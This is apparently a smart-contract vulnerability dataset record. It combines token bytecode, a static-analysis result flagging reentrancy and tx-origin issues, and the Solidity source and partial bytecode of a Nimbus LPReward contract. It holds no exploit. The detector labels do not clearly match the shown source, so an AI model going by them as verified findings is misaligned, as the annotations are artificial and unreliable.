65b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b60008060008060408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b600060208201905081810360008301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d78f22fe5f9ce2280ec2d9e971c0076ec66787cdf7b317ceba6ad31452d2ec8264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
280
0x1Fb6E047a14e02B4665eBF94882E7645bFb2c252
/** *Submitted for verification at Etherscan.io on 2021-02-27 */ pragma solidity =0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed from, address indexed to); constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } modifier onlyOwner { require(msg.sender == owner, "LPReward: Caller is not the owner"); _; } function transferOwnership(address transferOwner) public onlyOwner { require(transferOwner != newOwner); newOwner = transferOwner; } function acceptOwnership() virtual public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } interface INimbusRouter { function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } interface INimbusFactory { function getPair(address tokenA, address tokenB) external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'LPReward: ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'LPReward: ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'LPReward: ds-math-mul-overflow'); } } library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } contract LPReward is Ownable { using SafeMath for uint; uint public lpRewardMaxAmount = 100_000_000e18; uint public lpRewardUsed; uint public immutable startReward; uint public constant rewardPeriod = 365 days; address public NBU; address public swapRouter; INimbusFactory public swapFactory; mapping (address => mapping (address => uint)) public lpTokenAmounts; mapping (address => mapping (address => uint)) public weightedRatio; mapping (address => mapping (address => uint)) public ratioUpdateLast; mapping (address => mapping (address => uint[])) public unclaimedAmounts; mapping (address => bool) public allowedPairs; mapping (address => address[]) public pairTokens; event RecordAddLiquidity(uint ratio, uint weightedRatio, uint oldWeighted, uint liquidity); event RecordRemoveLiquidityUnclaimed(address recipient, address pair, uint amountA, uint amountB, uint liquidity); event RecordRemoveLiquidityGiveNbu(address recipient, address pair, uint nbu, uint amountA, uint amountB, uint liquidity); event ClaimLiquidityNbu(address recipient, uint nbu, uint amountA, uint amountB); event Rescue(address to, uint amount); event RescueToken(address token, address to, uint amount); constructor(address nbu, address factory) { swapFactory = INimbusFactory(factory); NBU = nbu; startReward = block.timestamp; } uint private unlocked = 1; modifier lock() { require(unlocked == 1, "LPReward: LOCKED"); unlocked = 0; _; unlocked = 1; } modifier onlyRouter() { require(msg.sender == swapRouter, "Caller is not the allowed router"); _; } function recordAddLiquidity(address recipient, address pair, uint amountA, uint amountB, uint liquidity) external onlyRouter { if (!allowedPairs[pair]) return; uint ratio = Math.sqrt(amountA.mul(amountB)).mul(1e18) / liquidity; uint previousRatio = weightedRatio[recipient][pair]; if (ratio < previousRatio) { return; } uint previousAmount = lpTokenAmounts[recipient][pair]; uint newAmount = previousAmount.add(liquidity); uint weighted = (previousRatio.mul(previousAmount) / newAmount).add(ratio.mul(liquidity) / newAmount); weightedRatio[recipient][pair] = weighted; lpTokenAmounts[recipient][pair] = newAmount; ratioUpdateLast[recipient][pair] = block.timestamp; emit RecordAddLiquidity(ratio, weighted, previousRatio, liquidity); } function recordRemoveLiquidity(address recipient, address tokenA, address tokenB, uint amountA, uint amountB, uint liquidity) external lock onlyRouter { address pair = swapFactory.getPair(tokenA, tokenB); if (!allowedPairs[pair]) return; uint amount0; uint amount1; { uint previousAmount = lpTokenAmounts[recipient][pair]; if (previousAmount == 0) return; uint ratio = Math.sqrt(amountA.mul(amountB)).mul(1e18) / liquidity; uint previousRatio = weightedRatio[recipient][pair]; if (previousRatio == 0 || (previousRatio != 0 && ratio < previousRatio)) return; uint difference = ratio.sub(previousRatio); if (previousAmount < liquidity) liquidity = previousAmount; weightedRatio[recipient][pair] = (previousRatio.mul(previousAmount.sub(liquidity)) / previousAmount).add(ratio.mul(liquidity) / previousAmount); lpTokenAmounts[recipient][pair] = previousAmount.sub(liquidity); amount0 = amountA.mul(difference) / 1e18; amount1 = amountB.mul(difference) / 1e18; } uint amountNbu; if (tokenA != NBU && tokenB != NBU) { address tokenToNbuPair = swapFactory.getPair(tokenA, NBU); if (tokenToNbuPair != address(0)) { amountNbu = INimbusRouter(swapRouter).getAmountsOut(amount0, getPathForToken(tokenA))[1]; } tokenToNbuPair = swapFactory.getPair(tokenB, NBU); if (tokenToNbuPair != address(0)) { if (amountNbu != 0) { amountNbu = amountNbu.add(INimbusRouter(swapRouter).getAmountsOut(amount1, getPathForToken(tokenB))[1]); } else { amountNbu = INimbusRouter(swapRouter).getAmountsOut(amount1, getPathForToken(tokenB))[1].mul(2); } } else { amountNbu = amountNbu.mul(2); } } else if (tokenA == NBU) { amountNbu = amount0.mul(2); } else { amountNbu = amount1.mul(2); } if (amountNbu != 0 && amountNbu <= availableReward() && IERC20(NBU).balanceOf(address(this)) >= amountNbu) { IERC20(NBU).transfer(recipient, amountNbu); lpRewardUsed = lpRewardUsed.add(amountNbu); emit RecordRemoveLiquidityGiveNbu(recipient, pair, amountNbu, amountA, amountB, liquidity); } else { uint amountS0; uint amountS1; { (address token0,) = sortTokens(tokenA, tokenB); (amountS0, amountS1) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0); } if (unclaimedAmounts[recipient][pair].length == 0) { unclaimedAmounts[recipient][pair].push(amountS0); unclaimedAmounts[recipient][pair].push(amountS1); } else { unclaimedAmounts[recipient][pair][0] = unclaimedAmounts[recipient][pair][0].add(amountS0); unclaimedAmounts[recipient][pair][1] = unclaimedAmounts[recipient][pair][1].add(amountS1); } emit RecordRemoveLiquidityUnclaimed(recipient, pair, amount0, amount1, liquidity); } ratioUpdateLast[recipient][pair] = block.timestamp; } function claimBonusBatch(address[] memory pairs, address recipient) external lock { for (uint i; i < pairs.length; i++) { claimBonus(pairs[i],recipient); } } function claimBonus(address pair, address recipient) public lock { require (allowedPairs[pair], "LPReward: Not allowed pair"); require (unclaimedAmounts[recipient][pair].length > 0 && (unclaimedAmounts[recipient][pair][0] > 0 || unclaimedAmounts[recipient][pair][1] > 0), "LPReward: No undistributed fee bonuses"); uint amountA; uint amountB; amountA = unclaimedAmounts[recipient][pair][0]; amountB = unclaimedAmounts[recipient][pair][1]; unclaimedAmounts[recipient][pair][0] = 0; unclaimedAmounts[recipient][pair][1] = 0; uint amountNbu = nbuAmountForPair(pair, amountA, amountB); require (amountNbu > 0, "LPReward: No NBU pairs to token A and token B"); require (amountNbu <= availableReward(), "LPReward: Available reward for the period is used"); IERC20(NBU).transfer(recipient, amountNbu); lpRewardUsed = lpRewardUsed.add(amountNbu); emit ClaimLiquidityNbu(recipient, amountNbu, amountA, amountB); } function unclaimedAmountNbu(address recipient, address pair) external view returns (uint) { uint amountA; uint amountB; if (unclaimedAmounts[recipient][pair].length != 0) { amountA = unclaimedAmounts[recipient][pair][0]; amountB = unclaimedAmounts[recipient][pair][1]; } else { return 0; } return nbuAmountForPair(pair, amountA, amountB); } function unclaimedAmount(address recipient, address pair) external view returns (uint amountA, uint amountB) { if (unclaimedAmounts[recipient][pair].length != 0) { amountA = unclaimedAmounts[recipient][pair][0]; amountB = unclaimedAmounts[recipient][pair][1]; } } function availableReward() public view returns (uint) { uint rewardForPeriod = lpRewardMaxAmount.mul(block.timestamp - startReward) / rewardPeriod; if (rewardForPeriod > lpRewardUsed) return rewardForPeriod.sub(lpRewardUsed); else return 0; } function nbuAmountForPair(address pair, uint amountA, uint amountB) private view returns (uint amountNbu) { address tokenA = pairTokens[pair][0]; address tokenB = pairTokens[pair][1]; if (tokenA != NBU && tokenB != NBU) { address tokenToNbuPair = swapFactory.getPair(tokenA, NBU); if (tokenToNbuPair != address(0)) { amountNbu = INimbusRouter(swapRouter).getAmountsOut(amountA, getPathForToken(tokenA))[1]; } tokenToNbuPair = swapFactory.getPair(tokenB, NBU); if (tokenToNbuPair != address(0)) { if (amountNbu != 0) { amountNbu = amountNbu.add(INimbusRouter(swapRouter).getAmountsOut(amountB, getPathForToken(tokenB))[1]); } else { amountNbu = INimbusRouter(swapRouter).getAmountsOut(amountB, getPathForToken(tokenB))[1].mul(2); } } else { amountNbu = amountNbu.mul(2); } } else if (tokenA == NBU) { amountNbu = amountA.mul(2); } else { amountNbu = amountB.mul(2); } } function getPathForToken(address token) private view returns (address[] memory) { address[] memory path = new address[](2); path[0] = token; path[1] = NBU; return path; } function sortTokens(address tokenA, address tokenB) private pure returns (address token0, address token1) { (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); } function rescue(address payable to, uint256 amount) external onlyOwner { require(to != address(0), "LPReward: Address is zero"); require(amount > 0, "LPReward: Should be greater than 0"); TransferHelper.safeTransferETH(to, amount); emit Rescue(to, amount); } function rescue(address to, address token, uint256 amount) external onlyOwner { require(to != address(0), "LPReward: Address is zero"); require(amount > 0, "LPReward: Should be greater than 0"); TransferHelper.safeTransfer(token, to, amount); emit RescueToken(token, to, amount); } function updateSwapRouter(address newRouter) external onlyOwner { require (newRouter != address(0), "LPReward: Zero address"); swapRouter = newRouter; } function updateAllowedPair(address tokenA, address tokenB, bool isAllowed) external onlyOwner { require (tokenA != address(0) && tokenB != address(0) && tokenA != tokenB, "LPReward: Wrong addresses"); address pair = swapFactory.getPair(tokenA, tokenB); require (pair != address(0), "LPReward: Pair not exists"); if (!allowedPairs[pair]) { (address token0, address token1) = sortTokens(tokenA, tokenB); pairTokens[pair].push(token0); pairTokens[pair].push(token1); } allowedPairs[pair] = isAllowed; } function updateRewardMaxAmount(uint newAmount) external onlyOwner { lpRewardMaxAmount = newAmount; } } library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80637a4e4ecf11610104578063d30af7ff116100a2578063f2fde38b11610071578063f2fde38b14610381578063f852b04a14610394578063fc7defff146103a7578063fd7271ae146103af576101cf565b8063d30af7ff1461033e578063d4ee1d901461035e578063e09d980114610366578063e88dc5b714610379576101cf565b80639e3de313116100de5780639e3de313146102fd578063a400008914610310578063b98b677f14610323578063c31c9c0714610336576101cf565b80637a4e4ecf146102cf5780638da5cb5b146102e2578063901b89fa146102ea576101cf565b80634866af1011610171578063746c8ae11161014b578063746c8ae1146102a45780637700964e146102ac5780637944f944146102bf57806379ba5097146102c7576101cf565b80634866af10146102765780634ad84b34146102895780636d513e3514610291576101cf565b806320ff430b116101ad57806320ff430b1461023357806325a153bd146102485780632953d5471461025057806336a3c41d14610263576101cf565b80630500b714146101d457806316454754146101fd5780631fe921ea14610212575b600080fd5b6101e76101e236600461322c565b6103c2565b6040516101f49190613a7a565b60405180910390f35b610205610400565b6040516101f49190613493565b610225610220366004613146565b61041c565b6040516101f4929190613ae6565b61024661024136600461322c565b610551565b005b6101e761067d565b61024661025e36600461342a565b610683565b6102056102713660046132bc565b6106d9565b6101e7610284366004613146565b61071e565b6101e761073b565b6101e761029f366004613146565b6107ae565b6101e7610903565b6102466102ba36600461326c565b610927565b610205610b48565b610246610b64565b6102466102dd36600461311b565b610c1e565b610205610d3d565b6102466102f83660046132ce565b610d59565b61024661030b366004613146565b610e0c565b61024661031e3660046131e2565b611385565b6102466103313660046130dc565b611684565b610205611769565b61035161034c3660046130dc565b611785565b6040516101f491906135e6565b61020561179a565b6101e7610374366004613146565b6117b6565b6101e76117d3565b61024661038f3660046130dc565b6117db565b6101e76103a2366004613146565b61189b565b6101e76118b8565b6102466103bd36600461317e565b6118be565b600a60205282600052604060002060205281600052604060002081815481106103ea57600080fd5b9060005260206000200160009250925050505481565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff8083166000908152600a6020908152604080832093851683529290529081205481901561054a5773ffffffffffffffffffffffffffffffffffffffff8085166000908152600a60209081526040808320938716835292905290812080549091906104c4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff8088168452600a83526040808520918816855292529120805491935090600190811061053c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490505b9250929050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146105ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138f5565b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff83166105f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613887565b60008111610632576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613798565b61063d8284836126f3565b7faabf44ab9d5bef08d1b60f287a337f0d11a248e49741ad189b429e47e98ba91082848360405161067093929190613501565b60405180910390a1505050565b60035481565b60005473ffffffffffffffffffffffffffffffffffffffff1633146106d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138f5565b600255565b600c60205281600052604060002081815481106106f557600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff169150829050565b600760209081526000928352604080842090915290825290205481565b6000806301e133806107796107707f000000000000000000000000000000000000000000000000000000006016f74442613beb565b60025490612815565b6107839190613b75565b90506003548111156107a55760035461079d90829061286f565b9150506107ab565b60009150505b90565b73ffffffffffffffffffffffffffffffffffffffff8083166000908152600a6020908152604080832093851683529290529081205481908190156108e25773ffffffffffffffffffffffffffffffffffffffff8086166000908152600a6020908152604080832093881683529290529081208054909190610858577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff8089168452600a8352604080852091891685529252912080549193509060019081106108d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490506108ed565b6000925050506108fd565b6108f88483836128b7565b925050505b92915050565b7f000000000000000000000000000000000000000000000000000000006016f74481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610978576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906137f5565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600b602052604090205460ff166109aa57610b41565b6000816109d1670de0b6b3a76400006109cb6109c68888612815565b612e24565b90612815565b6109db9190613b75565b73ffffffffffffffffffffffffffffffffffffffff8088166000908152600860209081526040808320938a168352929052205490915080821015610a20575050610b41565b73ffffffffffffffffffffffffffffffffffffffff8088166000908152600760209081526040808320938a1683529290529081205490610a608286612e94565b90506000610a9782610a728789612815565b610a7c9190613b75565b83610a878787612815565b610a919190613b75565b90612e94565b73ffffffffffffffffffffffffffffffffffffffff808c166000818152600860209081526040808320948f16808452948252808320869055838352600782528083208584528252808320889055928252600981528282209382529290925290819020429055519091507f21c13b7c441b15297dafa4085aedb73fa2925bda88d9a9d70b4ac5dd0f945c3290610b33908790849088908b90613af4565b60405180910390a150505050505b5050505050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff163314610b8857600080fd5b6001546000805460405173ffffffffffffffffffffffffffffffffffffffff93841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138f5565b73ffffffffffffffffffffffffffffffffffffffff8216610cbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613887565b60008111610cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613798565b610d008282612edc565b7f542fa6bfee3b4746210fbdd1d83f9e49b65adde3639f8d8f165dd18347938af28282604051610d319291906134b4565b60405180910390a15050565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b600d54600114610d95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a29061365f565b6000600d8190555b8251811015610e0257610df0838281518110610de2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015183610e0c565b80610dfa81613c02565b915050610d9d565b50506001600d5550565b600d54600114610e48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a29061365f565b6000600d81905573ffffffffffffffffffffffffffffffffffffffff83168152600b602052604090205460ff16610eab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138be565b73ffffffffffffffffffffffffffffffffffffffff8082166000908152600a602090815260408083209386168352929052205415801590610fdf575073ffffffffffffffffffffffffffffffffffffffff8082166000908152600a60209081526040808320938616835292905290812080548290610f52577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001541180610fdf575073ffffffffffffffffffffffffffffffffffffffff8082166000908152600a60209081526040808320938616835292905290812080546001908110610fd2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154115b611015576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a29061382a565b73ffffffffffffffffffffffffffffffffffffffff8082166000908152600a60209081526040808320938616835292905290812080548291908290611083577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff8087168452600a8352604080852091891685529252912080549193509060019081106110fb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff8087168452600a83526040808520918916855292529082208054919350908290611171577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091019290925573ffffffffffffffffffffffffffffffffffffffff8086168252600a8352604080832091881683529252908120805460019081106111e9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555060006112048584846128b7565b905060008111611240576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a29061373b565b61124861073b565b811115611281576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613952565b600480546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169163a9059cbb916112d89188918691016134b4565b602060405180830381600087803b1580156112f257600080fd5b505af1158015611306573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132a919061340e565b506003546113389082612e94565b6003556040517f5467bc95bee92cd7b7d330372f202b2f1b942dd1684dd90863b538299c9bde65906113719086908490879087906135b3565b60405180910390a150506001600d55505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146113d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138f5565b73ffffffffffffffffffffffffffffffffffffffff831615801590611410575073ffffffffffffffffffffffffffffffffffffffff821615155b801561144857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61147e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906136cd565b6006546040517fe6a4390500000000000000000000000000000000000000000000000000000000815260009173ffffffffffffffffffffffffffffffffffffffff169063e6a43905906114d790879087906004016134da565b60206040518083038186803b1580156114ef57600080fd5b505afa158015611503573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152791906130ff565b905073ffffffffffffffffffffffffffffffffffffffff8116611576576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613a43565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600b602052604090205460ff1661162f576000806115b08686612f95565b73ffffffffffffffffffffffffffffffffffffffff8581166000908152600c6020908152604082208054600180820183558285529290932092830180547fffffffffffffffffffffffff000000000000000000000000000000000000000090811697861697909717905580549182019055018054909316911617905550505b73ffffffffffffffffffffffffffffffffffffffff166000908152600b6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169115159190911790555050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138f5565b73ffffffffffffffffffffffffffffffffffffffff8116611722576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613704565b600580547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b600b6020526000908152604090205460ff1681565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b600860209081526000928352604080842090915290825290205481565b6301e1338081565b60005473ffffffffffffffffffffffffffffffffffffffff16331461182c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138f5565b60015473ffffffffffffffffffffffffffffffffffffffff8281169116141561185457600080fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600960209081526000928352604080842090915290825290205481565b60025481565b600d546001146118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a29061365f565b6000600d5560055473ff